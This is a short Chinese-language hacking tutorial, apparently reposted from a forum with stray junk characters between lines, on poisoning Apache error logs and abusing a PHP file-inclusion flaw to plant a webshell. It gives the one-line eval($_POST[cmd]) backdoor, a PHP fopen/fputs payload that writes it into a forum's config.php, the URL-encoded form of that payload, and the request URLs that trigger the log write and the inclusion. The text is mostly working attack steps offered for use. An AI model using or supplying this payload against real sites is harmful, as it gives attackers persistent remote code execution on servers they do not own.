php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
* ?) g# S! V. M' u$ N; Y9 ?- J8 H2 y
比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

, g# U9 z, J9 a3 }+ B# ?! a" n" ?到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
$ K+ D' g- M4 J0 X4 X' U8 ]0 Xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

: X  b$ s& H! o! V" v& f5 b3 Q<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
' n' }$ g0 x1 H$ v$ R0 Kfclose($fp);?>   //在config.php里写入一句木马语句

/ p9 F0 M0 y( `; m! v# q4 S我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
! ?- O2 `! ^7 F: oconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
8 b+ l1 h  t4 j4 w- P; e3 P8 j4 J%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
7 f- P6 L( d  D; H8 A' z# g%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
" y, m' A5 n! y" e  j9 M- k5 ]OK.

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
